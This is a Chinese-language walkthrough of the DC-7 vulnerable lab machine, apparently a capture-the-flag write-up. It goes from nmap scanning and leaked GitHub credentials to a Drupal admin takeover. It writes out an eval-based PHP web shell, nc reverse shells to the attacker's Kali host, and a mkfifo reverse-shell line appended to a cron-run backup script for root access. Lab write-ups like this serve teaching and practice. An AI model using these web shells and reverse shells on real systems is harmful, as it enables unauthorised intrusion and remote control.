使用nmap扫描C段发现靶机ip
nmap 192.168.26.0/24
发现靶机ip为 192.168.26.135 本次使用kali2020,kali IP为192.168.26.20
使用nmap扫描靶机具体信息
nmap -sS -sV -T4 -A -p- 192.168.26.135
也没发现什么有用的信息,然后访问80端口
使用kali下的网站指纹工具whatweb查看靶机搭建的网站,发现是使用Drupal 8搭建的网站
浏览器打开网站,是一个欢迎界面并给出了一个提示,提示将暴力破解和字典排除在外,需要另外的思路,发现在欢迎页面的左下角有一个“@DC7USER”,应该是接入点,提示说:
欢迎来到DC-7
DC-7引入了一些“新”概念,但是我会让您知道它们是什么。:-)
尽管这一挑战并不是技术性的全部,但是如果您需要诉诸于暴力破解或字典攻击,那么您可能不会成功。
您将要做的就是在盒子外面思考。
方式在盒子外面。:-)
在百度搜索@DC7USER后,发现是一个Twitter用户,进入Twitter后搜索这个用户,进入这个用户首页,发现一个GitHub的链接
https://github.com/Dc7User/
点击GitHub的链接发现一个staffdb的源码文件夹,并给了提示这源码是dc7靶机的突破口
https://github.com/Dc7User/staffdb
将源码下载到本地,分析源码,发现一个config.php文件,在这个配置文件里找到了用户名和密码
使用SSH链接靶机,登录dc7user发现可以成功连接
ssh dc7user@192.168.26.135
发现一个backups文件夹和一个mbox文件
进入backups文件夹,发现两个文件,但都是以gpg结尾的,gpg命令是用来加密文件的,加密后的文件都是乱码
cd backups
打开mbox文件发现是一个计划任务,定时备份,并发现备份执行的源码在/opt/scripts目录下
cat mbox
进入到/opt/scripts目录下,查看backups.sh脚本文件,发现两个命令gpg和drush
gpg命令用来加密,drush命令是drupal框架中用来做一些配置的命令,它可以改变用户名密码
cd /opt/scripts
cat backups.sh
进入到/var/www/html目录下,因为网站会有一个admin用户,所以使用drush命令修改admin用户的密码为123456,发现可以修改成功
cd /var/www/html/
drush user-password admin --password="123456"
http://192.168.220.154/user/login
在Content—>Add content-->Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入
点击Install new module,将下载模块包的链接添加上,点击Install
Php介绍页面如下,模块包下载地址也附上
https://www.drupal.org/project/php
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
Install后跳转到模块添加成功页面,然后去激活这个模块
选择FILTERS,勾选PHP点击Install安装,安装成功后会有提示
然后来到网站开始的欢迎页面,对该页面进行编辑,添加一句话PHP代码,并保存为PHP代码
GetShell
<?php
@eval($_REQUEST[666]);
?>
因为欢迎页面是网站的首页,所以直接使用中国蚁剑连接网站,成功连接getshell,然后利用蚁剑的虚拟终端模块,反弹shell给kali
nc -e /bin/bash 192.168.26.20 4444
nc -lvvp 4444
python -c 'import pty;pty.spawn("/bin/bash")' #优化终端显示
当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.26.20 666 >/tmp/f" >> backups.sh
写入反弹shell代码到backups.sh脚本文件中,并在kali监听666端口,等待计划任务执行,稍微等待后成功getshell
得到root权限后,进入root家目录下,发现theflag.txt文件